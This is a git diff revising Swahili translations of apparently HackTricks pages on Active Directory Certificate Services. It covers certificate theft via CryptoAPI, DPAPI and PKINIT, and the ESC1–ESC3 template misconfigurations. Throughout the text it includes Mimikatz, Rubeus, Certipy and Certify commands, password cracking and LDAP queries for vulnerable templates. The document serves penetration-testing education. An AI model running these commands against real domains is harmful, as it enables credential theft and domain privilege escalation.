@ -87,21 +87,21 @@ Active Directory (AD) inasaidia uthibitisho wa cheti, hasa ikitumia **Kerberos**
### Mchakato wa Uthibitisho wa Kerberos
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **uhalali** wa cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **duka la cheti la NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana kwenye:
Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **halali** ya cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **hifadhi ya cheti ya NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana kwenye:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```
ni muhimu katika kuanzisha uaminifu kwa uthibitishaji wa cheti.
### Uthibitishaji wa Kituo Salama (Schannel)
### Uthibitishaji wa Kanal Salama (Schannel)
Schannel inarahisisha muunganisho salama wa TLS/SSL, ambapo wakati wa mkutano, mteja anawasilisha cheti ambacho, ikiwa kimefanikiwa kuthibitishwa, kinatoa ruhusa ya ufikiaji. Mchoro wa cheti kwa akaunti ya AD unaweza kujumuisha kazi ya Kerberos **S4U2Self** au **Jina Alternatif la Mhusika (SAN)** la cheti, kati ya mbinu nyingine.
### Uhesabu wa Huduma za Cheti za AD
Huduma za cheti za AD zinaweza kuhesabiwa kupitia maswali ya LDAP, zikifunua habari kuhusu **Mamlaka ya Cheti ya Biashara (CAs)** na mipangilio yao. Hii inapatikana kwa mtumiaji yeyote aliyeidhinishwa na kikoa bila ruhusa maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumika kwa uhesabu na tathmini ya udhaifu katika mazingira ya AD CS.
Huduma za cheti za AD zinaweza kuhesabiwa kupitia maswali ya LDAP, zikifunua habari kuhusu **Mamlaka za Cheti za Biashara (CAs)** na mipangilio yao. Hii inapatikana kwa mtumiaji yeyote aliyeidhinishwa na kikoa bila ruhusa maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumika kwa uhesabu na tathmini ya udhaifu katika mazingira ya AD CS.
Amri za kutumia zana hizi ni:
Amri za kutumia zana hizi ni pamoja na:
```bash
# Enumerate trusted root CA certificates and Enterprise CAs with Certify
Certify.exe cas
@ -115,7 +115,7 @@ certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128
certutil.exe -TCAInfo
certutil -v -dstemplate
```
## Marejeleo
## Marejeo
- [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
- [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html)

View File

@ -4,10 +4,10 @@
**Hii ni muhtasari mdogo wa sura za Wizi za utafiti mzuri kutoka [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
## Nini naweza kufanya na cheti
## Naweza kufanya nini na cheti
Kabla ya kuangalia jinsi ya kuiba vyeti, hapa kuna taarifa kuhusu jinsi ya kupata matumizi ya cheti:
```powershell
```bash
# Powershell
$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
@ -20,11 +20,11 @@ certutil.exe -dump -v cert.pfx
```
## Exporting Certificates Using the Crypto APIs THEFT1
Katika **kipindi cha desktop cha mwingiliano**, kutoa cheti cha mtumiaji au mashine, pamoja na funguo binafsi, inaweza kufanywa kwa urahisi, hasa ikiwa **funguo binafsi inaweza kusafirishwa**. Hii inaweza kufanywa kwa kuingia kwenye cheti katika `certmgr.msc`, kubonyeza kulia juu yake, na kuchagua `All Tasks → Export` ili kuunda faili ya .pfx iliyo na nenosiri.
Katika **kipindi cha desktop cha mwingiliano**, kutoa cheti cha mtumiaji au mashine, pamoja na funguo binafsi, kunaweza kufanywa kwa urahisi, hasa ikiwa **funguo binafsi zinaweza kusafirishwa**. Hii inaweza kufanywa kwa kuingia kwenye cheti katika `certmgr.msc`, kubonyeza kulia juu yake, na kuchagua `All Tasks → Export` ili kuunda faili ya .pfx iliyo na nenosiri.
Kwa **mbinu ya programu**, zana kama vile PowerShell `ExportPfxCertificate` cmdlet au miradi kama [TheWovers CertStealer C# project](https://github.com/TheWover/CertStealer) zinapatikana. Hizi hutumia **Microsoft CryptoAPI** (CAPI) au Cryptography API: Next Generation (CNG) kuingiliana na duka la vyeti. APIs hizi zinatoa anuwai ya huduma za kificho, ikiwa ni pamoja na zile zinazohitajika kwa ajili ya uhifadhi wa vyeti na uthibitishaji.
Kwa **mbinu ya kimaandishi**, zana kama vile PowerShell `ExportPfxCertificate` cmdlet au miradi kama [TheWovers CertStealer C# project](https://github.com/TheWover/CertStealer) zinapatikana. Hizi hutumia **Microsoft CryptoAPI** (CAPI) au Cryptography API: Next Generation (CNG) kuingiliana na hifadhi ya vyeti. APIs hizi zinatoa anuwai ya huduma za kificho, ikiwa ni pamoja na zile zinazohitajika kwa ajili ya uhifadhi wa vyeti na uthibitishaji.
Hata hivyo, ikiwa funguo binafsi imewekwa kama isiyoweza kusafirishwa, CAPI na CNG kawaida zitazuia utoaji wa vyeti kama hivyo. Ili kupita kizuizi hiki, zana kama **Mimikatz** zinaweza kutumika. Mimikatz inatoa amri za `crypto::capi` na `crypto::cng` kubadilisha APIs husika, kuruhusu usafirishaji wa funguo binafsi. Kwa hakika, `crypto::capi` inabadilisha CAPI ndani ya mchakato wa sasa, wakati `crypto::cng` inalenga kumbukumbu ya **lsass.exe** kwa ajili ya kubadilisha.
Hata hivyo, ikiwa funguo binafsi zimewekwa kama zisizoweza kusafirishwa, CAPI na CNG kawaida zitazuia utoaji wa vyeti kama hivyo. Ili kupita kizuizi hiki, zana kama **Mimikatz** zinaweza kutumika. Mimikatz inatoa amri za `crypto::capi` na `crypto::cng` kubadilisha APIs husika, kuruhusu usafirishaji wa funguo binafsi. Kwa hakika, `crypto::capi` inabadilisha CAPI ndani ya mchakato wa sasa, wakati `crypto::cng` inalenga kumbukumbu ya **lsass.exe** kwa ajili ya kubadilisha.
## User Certificate Theft via DPAPI THEFT2
@ -36,15 +36,15 @@ Maelezo zaidi kuhusu DPAPI katika:
Katika Windows, **funguo binafsi za cheti zinahifadhiwa na DPAPI**. Ni muhimu kutambua kwamba **mahali pa uhifadhi kwa funguo binafsi za mtumiaji na mashine** ni tofauti, na muundo wa faili hutofautiana kulingana na API ya kificho inayotumiwa na mfumo wa uendeshaji. **SharpDPAPI** ni zana ambayo inaweza kuzunguka tofauti hizi kiotomatiki wakati wa kufungua DPAPI blobs.
**Vyeti vya mtumiaji** kwa kawaida vinahifadhiwa katika rejista chini ya `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, lakini baadhi vinaweza pia kupatikana katika directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. Funguo binafsi zinazohusiana na vyeti hivi kwa kawaida huhifadhiwa katika `%APPDATA%\Microsoft\Crypto\RSA\User SID\` kwa funguo za **CAPI** na `%APPDATA%\Microsoft\Crypto\Keys\` kwa funguo za **CNG**.
**Vyeti vya mtumiaji** kwa kiasi kikubwa vinahifadhiwa katika rejista chini ya `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, lakini vingine vinaweza pia kupatikana katika directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. **Funguo binafsi** zinazohusiana na vyeti hivi kwa kawaida huhifadhiwa katika `%APPDATA%\Microsoft\Crypto\RSA\User SID\` kwa funguo za **CAPI** na `%APPDATA%\Microsoft\Crypto\Keys\` kwa funguo za **CNG**.
Ili **kutoa cheti na funguo binafsi zinazohusiana**, mchakato unajumuisha:
Ili **kutoa cheti na funguo zake binafsi**, mchakato unajumuisha:
1. **Kuchagua cheti lengwa** kutoka duka la mtumiaji na kupata jina la duka la funguo zake.
2. **Kutafuta DPAPI masterkey inayohitajika** ili kufungua funguo binafsi inayohusiana.
3. **Kufungua funguo binafsi** kwa kutumia DPAPI masterkey ya maandiko.
1. **Kuchagua cheti lengwa** kutoka kwenye hifadhi ya mtumiaji na kupata jina la hifadhi ya funguo zake.
2. **Kupata DPAPI masterkey inayohitajika** ili kufungua funguo binafsi zinazohusiana.
3. **Kufungua funguo binafsi** kwa kutumia DPAPI masterkey ya wazi.
Kwa **kupata DPAPI masterkey ya maandiko**, mbinu zifuatazo zinaweza kutumika:
Kwa **kupata DPAPI masterkey ya wazi**, mbinu zifuatazo zinaweza kutumika:
```bash
# With mimikatz, when running in the user's context
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
@ -62,25 +62,25 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
```
## Wizi wa Cheti cha Mashine kupitia DPAPI THEFT3
Cheti za mashine zinahifadhiwa na Windows katika rejista kwenye `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` na funguo za faragha zinazohusiana ziko katika `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (kwa CAPI) na `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (kwa CNG) zimefungwa kwa kutumia funguo za DPAPI za mashine. Funguo hizi hazinaweza kufunguliwa kwa funguo za akiba za DPAPI za kanda; badala yake, **DPAPI_SYSTEM LSA siri**, ambayo ni lazima itumike na mtumiaji wa SYSTEM, inahitajika.
Mashine cheti zilizohifadhiwa na Windows katika rejista kwenye `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` na funguo binafsi zinazohusiana zilizoko katika `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (kwa CAPI) na `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (kwa CNG) zimefungwa kwa kutumia funguo kuu za DPAPI za mashine. Funguo hizi haziwezi kufunguliwa kwa kutumia funguo za akiba za DPAPI za kanda; badala yake, **DPAPI_SYSTEM LSA siri**, ambayo ni lazima iweze kufikiwa tu na mtumiaji wa SYSTEM, inahitajika.
Funguo za kufungua zinaweza kupatikana kwa kutekeleza amri `lsadump::secrets` katika **Mimikatz** ili kutoa siri ya DPAPI_SYSTEM LSA, na kisha kutumia funguo hii kufungua funguo za master za mashine. Vinginevyo, amri ya Mimikatz `crypto::certificates /export /systemstore:LOCAL_MACHINE` inaweza kutumika baada ya kurekebisha CAPI/CNG kama ilivyoelezwa hapo awali.
Fungua kwa mikono inaweza kufikiwa kwa kutekeleza amri `lsadump::secrets` katika **Mimikatz** ili kutoa siri ya DPAPI_SYSTEM LSA, na kisha kutumia funguo hii kufungua funguo kuu za mashine. Vinginevyo, amri ya Mimikatz `crypto::certificates /export /systemstore:LOCAL_MACHINE` inaweza kutumika baada ya kurekebisha CAPI/CNG kama ilivyoelezwa hapo awali.
**SharpDPAPI** inatoa njia ya kiotomatiki zaidi kwa amri zake za vyeti. Wakati bendera ya `/machine` inapotumika na ruhusa za juu, inainua hadi SYSTEM, inatoa siri ya DPAPI_SYSTEM LSA, inaitumia kufungua funguo za master za DPAPI za mashine, na kisha inatumia funguo hizi za maandiko kama jedwali la kutafuta kufungua funguo zozote za faragha za cheti cha mashine.
**SharpDPAPI** inatoa njia ya kiotomatiki zaidi na amri zake za cheti. Wakati bendera ya `/machine` inapotumika na ruhusa za juu, inainua hadi SYSTEM, inatoa siri ya DPAPI_SYSTEM LSA, inaitumia kufungua funguo kuu za DPAPI za mashine, na kisha inatumia funguo hizi za maandiko kama jedwali la kutafuta kufungua funguo binafsi za cheti chochote cha mashine.
## Kutafuta Faili za Vyeti THEFT4
## Kutafuta Faili za Cheti THEFT4
Vyeti mara nyingine hupatikana moja kwa moja ndani ya mfumo wa faili, kama vile katika sehemu za faili au folda ya Downloads. Aina za kawaida za faili za vyeti zinazolengwa kwa mazingira ya Windows ni faili za `.pfx` na `.p12`. Ingawa si mara nyingi, faili zenye viambatisho `.pkcs12` na `.pem` pia huonekana. Viambatisho vingine vya faili vinavyohusiana na vyeti ni pamoja na:
Vyeti wakati mwingine hupatikana moja kwa moja ndani ya mfumo wa faili, kama vile katika sehemu za faili au folda ya Downloads. Aina za kawaida za faili za cheti zinazolengwa kwa mazingira ya Windows ni faili za `.pfx` na `.p12`. Ingawa kwa nadra, faili zenye viambatisho `.pkcs12` na `.pem` pia huonekana. Viambatisho vingine vya faili vinavyohusiana na cheti vinavyostahili kutajwa ni pamoja na:
- `.key` kwa funguo za faragha,
- `.key` kwa funguo binafsi,
- `.crt`/`.cer` kwa vyeti pekee,
- `.csr` kwa Maombi ya Kusaini Vyeti, ambavyo havina vyeti au funguo za faragha,
- `.jks`/`.keystore`/`.keys` kwa Java Keystores, ambazo zinaweza kuwa na vyeti pamoja na funguo za faragha zinazotumiwa na programu za Java.
- `.csr` kwa Maombi ya Kusaini Cheti, ambayo hayana vyeti au funguo binafsi,
- `.jks`/`.keystore`/`.keys` kwa Java Keystores, ambazo zinaweza kuwa na vyeti pamoja na funguo binafsi zinazotumiwa na programu za Java.
Faili hizi zinaweza kutafutwa kwa kutumia PowerShell au amri ya prompt kwa kutafuta viambatisho vilivyotajwa.
Faili hizi zinaweza kutafutwa kwa kutumia PowerShell au amri ya kuagiza kwa kutafuta viambatisho vilivyotajwa.
Katika hali ambapo faili ya cheti ya PKCS#12 inapatikana na inalindwa na nenosiri, utoaji wa hash unaweza kufanywa kwa kutumia `pfx2john.py`, inayopatikana kwenye [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Kisha, JohnTheRipper inaweza kutumika kujaribu kuvunja nenosiri.
```powershell
```bash
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@ -90,18 +90,20 @@ pfx2john.py certificate.pfx > hash.txt
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
## NTLM Credential Theft via PKINIT THEFT5
## NTLM Credential Theft via PKINIT THEFT5 (UnPAC the hash)
Maudhui yaliyotolewa yanaelezea mbinu ya wizi wa akreditivu za NTLM kupitia PKINIT, hasa kupitia mbinu ya wizi iliyopewa jina THEFT5. Hapa kuna ufafanuzi wa upya kwa sauti ya passiv, huku maudhui yakiwa yamefichwa na kufupishwa inapohitajika:
Maudhui yaliyotolewa yanaelezea mbinu ya wizi wa akidi za NTLM kupitia PKINIT, hasa kupitia mbinu ya wizi iliyopewa jina THEFT5. Hapa kuna ufafanuzi wa upya kwa sauti ya pasivu, huku maudhui yakiwa yamefichwa na kufupishwa inapohitajika:
Ili kusaidia uthibitishaji wa NTLM [MS-NLMP] kwa programu ambazo hazifanyii kazi uthibitishaji wa Kerberos, KDC imeundwa kurudisha kazi ya moja kwa moja ya NTLM (OWF) ya mtumiaji ndani ya cheti cha sifa (PAC), hasa katika buffer ya `PAC_CREDENTIAL_INFO`, wakati PKCA inatumika. Kwa hivyo, iwapo akaunti itathibitishwa na kupata Tiketi ya Kutoa Tiketi (TGT) kupitia PKINIT, mekanismu inapatikana ambayo inaruhusu mwenyeji wa sasa kutoa hash ya NTLM kutoka kwa TGT ili kudumisha itifaki za uthibitishaji za zamani. Mchakato huu unajumuisha ufichuzi wa muundo wa `PAC_CREDENTIAL_DATA`, ambao kimsingi ni picha ya NDR iliyosimbwa ya NTLM plaintext.
Ili kusaidia uthibitishaji wa NTLM `MS-NLMP` kwa programu ambazo hazifanyii kazi uthibitishaji wa Kerberos, KDC imeundwa kurudisha kazi ya moja kwa moja ya NTLM (OWF) ya mtumiaji ndani ya cheti cha sifa (PAC), hasa katika buffer ya `PAC_CREDENTIAL_INFO`, wakati PKCA inatumika. Kwa hivyo, iwapo akaunti itathibitishwa na kupata Tiketi ya Utoaji Tiketi (TGT) kupitia PKINIT, mekanizma inapatikana ambayo inaruhusu mwenyeji wa sasa kutoa hash ya NTLM kutoka kwa TGT ili kudumisha itifaki za uthibitishaji za zamani. Mchakato huu unahusisha ufichuzi wa muundo wa `PAC_CREDENTIAL_DATA`, ambao kimsingi ni picha ya NDR iliyosimbwa ya NTLM plaintext.
Kifaa **Kekeo**, kinachopatikana kwenye [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), kinatajwa kuwa na uwezo wa kuomba TGT inayojumuisha data hii maalum, hivyo kurahisisha upatikanaji wa NTLM wa mtumiaji. Amri inayotumika kwa ajili ya kusudi hili ni kama ifuatavyo:
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
Zaidi ya hayo, inabainishwa kuwa Kekeo inaweza kushughulikia vyeti vilivyolindwa na kadi za smartcard, ikiwa pin inaweza kupatikana, huku ikirejelea [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Uwezo huo huo unaripotiwa kuungwa mkono na **Rubeus**, inayopatikana katika [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
**`Rubeus`** pia inaweza kupata taarifa hii kwa chaguo **`asktgt [...] /getcredentials`**.
Maelezo haya yanajumuisha mchakato na zana zinazohusika katika wizi wa akreditivu za NTLM kupitia PKINIT, zikilenga katika kupata hash za NTLM kupitia TGT iliyopatikana kwa kutumia PKINIT, na matumizi yanayosaidia mchakato huu.
Zaidi ya hayo, inabainishwa kuwa Kekeo inaweza kushughulikia vyeti vilivyolindwa na kadi za smartcard, ikiwa pin inaweza kupatikana, huku ikirejelea [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Uwezo huo huo unatajwa kuwa unasaidiwa na **Rubeus**, inayopatikana katika [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
Maelezo haya yanajumuisha mchakato na zana zinazohusika katika wizi wa akidi za NTLM kupitia PKINIT, zikizingatia upatikanaji wa hash za NTLM kupitia TGT iliyopatikana kwa kutumia PKINIT, na matumizi yanayosaidia mchakato huu.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,7 +10,7 @@
## Misconfigured Certificate Templates - ESC1
### Explanation
### Maelezo
### Misconfigured Certificate Templates - ESC1 Explained
@ -19,25 +19,25 @@
- **Saini kutoka kwa wafanyakazi walioidhinishwa hazihitajiki.**
- **Maelezo ya usalama kwenye templeti za cheti ni ya kupita kiasi, yanaruhusu watumiaji wenye mamlaka ya chini kupata haki za kujiandikisha.**
- **Templeti za cheti zimewekwa ili kufafanua EKUs zinazosaidia uthibitishaji:**
- Vitambulisho vya Matumizi ya Funguo Panzi (EKU) kama Uthibitishaji wa Mteja (OID 1.3.6.1.5.5.7.3.2), Uthibitishaji wa Mteja wa PKINIT (1.3.6.1.5.2.3.4), Kuingia kwa Kadi ya Smart (OID 1.3.6.1.4.1.311.20.2.2), Malengo Yoyote (OID 2.5.29.37.0), au hakuna EKU (SubCA) vinajumuishwa.
- Vitambulisho vya Matumizi ya Funguo Zilizoongezwa (EKU) kama Uthibitishaji wa Mteja (OID 1.3.6.1.5.5.7.3.2), Uthibitishaji wa Mteja wa PKINIT (1.3.6.1.5.2.3.4), Kuingia kwa Kadi ya Smart (OID 1.3.6.1.4.1.311.20.2.2), Malengo Yoyote (OID 2.5.29.37.0), au hakuna EKU (SubCA) zinajumuishwa.
- **Uwezo wa waombaji kujumuisha subjectAltName katika Ombi la Kusaini Cheti (CSR) unaruhusiwa na templeti:**
- Active Directory (AD) inapa kipaumbele subjectAltName (SAN) katika cheti kwa uthibitishaji wa utambulisho ikiwa ipo. Hii inamaanisha kwamba kwa kubainisha SAN katika CSR, cheti kinaweza kuombwa kuiga mtumiaji yeyote (kwa mfano, msimamizi wa kikoa). Ikiwa SAN inaweza kubainishwa na waombaji inaonyeshwa katika kitu cha AD cha templeti ya cheti kupitia mali ya `mspki-certificate-name-flag`. Mali hii ni bitmask, na uwepo wa bendera ya `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` inaruhusu ubainishaji wa SAN na waombaji.
- Active Directory (AD) inapa kipaumbele subjectAltName (SAN) katika cheti kwa uthibitishaji wa utambulisho ikiwa ipo. Hii ina maana kwamba kwa kubainisha SAN katika CSR, cheti kinaweza kuombwa kuiga mtumiaji yeyote (mfano, msimamizi wa eneo). Ikiwa SAN inaweza kubainishwa na waombaji inaonyeshwa katika kitu cha AD cha templeti ya cheti kupitia mali ya `mspki-certificate-name-flag`. Mali hii ni bitmask, na uwepo wa bendera ya `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` inaruhusu ubainishaji wa SAN na waombaji.
> [!CAUTION]
> Mipangilio iliyoelezewa inaruhusu watumiaji wenye mamlaka ya chini kuomba vyeti vyovyote vya SAN wanavyotaka, na kuwezesha uthibitishaji kama kiongozi yeyote wa kikoa kupitia Kerberos au SChannel.
> Mipangilio iliyoelezewa inaruhusu watumiaji wenye mamlaka ya chini kuomba vyeti vyovyote vya SAN wanavyotaka, na kuwezesha uthibitishaji kama kiongozi yeyote wa eneo kupitia Kerberos au SChannel.
Kipengele hiki wakati mwingine kinawashwa ili kusaidia uzalishaji wa cheti za HTTPS au mwenyeji kwa bidhaa au huduma za usambazaji, au kutokana na ukosefu wa uelewa.
Kipengele hiki wakati mwingine kinawashwa ili kusaidia uzalishaji wa cheti za HTTPS au mwenyeji kwa wakati halisi na bidhaa au huduma za kutekeleza, au kutokana na ukosefu wa uelewa.
Inabainishwa kwamba kuunda cheti na chaguo hili kunasababisha onyo, ambayo si hali wakati templeti ya cheti iliyopo (kama templeti ya `WebServer`, ambayo ina `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` iliyoanzishwa) inakopiwa na kisha kubadilishwa ili kujumuisha OID ya uthibitishaji.
### Abuse
### Unyanyasaji
Ili **kupata templeti za cheti zenye udhaifu** unaweza kukimbia:
```bash
Certify.exe find /vulnerable
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
```
Ili **kutumia udhaifu huu kujifanya kuwa msimamizi** mtu anaweza kukimbia:
Ili **kutumia udhaifu huu kujifanya kuwa msimamizi**, mtu anaweza kukimbia:
```bash
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
@ -47,31 +47,31 @@ Kisha unaweza kubadilisha **cheti kilichozalishwa kuwa muundo wa `.pfx`** na kuk
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows binaries "Certreq.exe" & "Certutil.exe" zinaweza kutumika kuunda PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Binaries za Windows "Certreq.exe" na "Certutil.exe" zinaweza kutumika kuunda PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Uhesabu wa mifano ya vyeti ndani ya schema ya usanidi wa AD Forest, hasa zile zisizohitaji idhini au saini, zikiwa na Client Authentication au Smart Card Logon EKU, na zikiwa na bendera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` iliyoanzishwa, zinaweza kufanywa kwa kuendesha uchunguzi ufuatao wa LDAP:
Uhesabu wa templeti za cheti ndani ya schema ya usanidi wa AD Forest, hasa zile zisizohitaji idhini au saini, zikiwa na Client Authentication au Smart Card Logon EKU, na zikiwa na bendera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` iliyoanzishwa, zinaweza kufanywa kwa kuendesha uchunguzi ufuatao wa LDAP:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
## Misconfigured Certificate Templates - ESC2
### Explanation
### Maelezo
Hali ya pili ya unyanyasaji ni tofauti ya ile ya kwanza:
Hali ya pili ya unyanyasaji ni toleo la ya kwanza:
1. Haki za kujiandikisha zinatolewa kwa watumiaji wenye mamlaka ya chini na Enterprise CA.
2. Hitaji la idhini ya meneja limeondolewa.
3. Hitaji la saini zilizoidhinishwa limeachwa.
4. Maelezo ya usalama yaliyo na ruhusa nyingi kwenye kiolezo cha cheti yanatoa haki za kujiandikisha kwa watumiaji wenye mamlaka ya chini.
5. **Kiolezo cha cheti kimewekwa ili kujumuisha Any Purpose EKU au hakuna EKU.**
5. **Kiolezo cha cheti kimewekwa kujumuisha Any Purpose EKU au hakuna EKU.**
**Any Purpose EKU** inaruhusu cheti kupatikana na mshambuliaji kwa **kila kusudi**, ikiwa ni pamoja na uthibitishaji wa mteja, uthibitishaji wa seva, saini ya msimbo, n.k. Mbinu ile ile **iliyotumika kwa ESC3** inaweza kutumika kutekeleza hali hii.
Vyeti vyenye **hakuna EKUs**, ambavyo vinatenda kama vyeti vya CA vya chini, vinaweza kutumika kwa **kila kusudi** na vinaweza **pia kutumika kusaini vyeti vipya**. Hivyo, mshambuliaji anaweza kubaini EKUs au maeneo yasiyo na mipaka katika vyeti vipya kwa kutumia cheti cha CA cha chini.
Vyeti vyenye **hakuna EKUs**, ambavyo vinatenda kama vyeti vya CA vya chini, vinaweza kutumika kwa **kila kusudi** na vinaweza **pia kutumika kusaini vyeti vipya**. Hivyo, mshambuliaji anaweza kubaini EKUs au maeneo yasiyo na mpangilio katika vyeti vipya kwa kutumia cheti cha CA cha chini.
Hata hivyo, vyeti vipya vilivyoundwa kwa **uthibitishaji wa kikoa** havitafanya kazi ikiwa CA ya chini haitakubaliwa na **`NTAuthCertificates`** kitu, ambacho ni mipangilio ya default. Hata hivyo, mshambuliaji bado anaweza kuunda **vyeti vipya vyenye EKU yoyote** na thamani za cheti zisizo na mipaka. Hizi zinaweza **kutumika vibaya** kwa anuwai ya malengo (mfano, saini ya msimbo, uthibitishaji wa seva, n.k.) na zinaweza kuwa na athari kubwa kwa programu nyingine katika mtandao kama SAML, AD FS, au IPSec.
Hata hivyo, vyeti vipya vilivyoundwa kwa **uthibitishaji wa kikoa** havitafanya kazi ikiwa CA ya chini haitakubaliwa na **`NTAuthCertificates`** kitu ambacho ni mipangilio ya default. Hata hivyo, mshambuliaji bado anaweza kuunda **vyeti vipya vyenye EKU yoyote** na thamani za cheti zisizo na mpangilio. Hizi zinaweza **kutumika vibaya** kwa anuwai ya malengo (mfano, saini ya msimbo, uthibitishaji wa seva, n.k.) na zinaweza kuwa na athari kubwa kwa programu nyingine katika mtandao kama SAML, AD FS, au IPSec.
Ili kuorodhesha mifano inayolingana na hali hii ndani ya mpangilio wa AD Forest, swali lifuatalo la LDAP linaweza kufanywa:
Ili kuorodhesha mifano inayolingana na hali hii ndani ya mpangilio wa AD Forest, swali la LDAP lifuatalo linaweza kutekelezwa:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
```
@ -83,27 +83,27 @@ Hali hii ni kama ya kwanza na ya pili lakini **inatumia** **EKU tofauti** (Certi
**Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), inayojulikana kama **Enrollment Agent** katika nyaraka za Microsoft, inaruhusu mhusika **kujiandikisha** kwa **cheti** kwa **niaba ya mtumiaji mwingine**.
**“enrollment agent”** inaandikishwa katika **mifano** kama hiyo na inatumia **cheti** iliyoandikwa kwa pamoja ku-sign CSR kwa niaba ya mtumiaji mwingine. Kisha **inatuma** **CSR iliyoandikwa kwa pamoja** kwa CA, ikijiandikisha katika **mfano** ambao **unaruhusu “kujiandikisha kwa niaba ya”**, na CA inajibu na **cheti inayomilikiwa na “mtumiaji mwingine”**.
**“enrollment agent”** inaandikishwa katika **mifano** kama hiyo na inatumia **cheti** iliyopewa ili ku-sign CSR kwa niaba ya mtumiaji mwingine. Kisha **inatuma** **CSR iliyo-sign** kwa CA, ikijiandikisha katika **mfano** ambao **unaruhusu “kujiandikisha kwa niaba ya”**, na CA inajibu kwa **cheti inayomilikiwa na “mtumiaji mwingine”**.
**Requirements 1:**
**Mahitaji 1:**
- Haki za kujiandikisha zinatolewa kwa watumiaji wenye mamlaka ya chini na Enterprise CA.
- Mahitaji ya idhini ya meneja yameondolewa.
- Hakuna mahitaji ya saini zilizoidhinishwa.
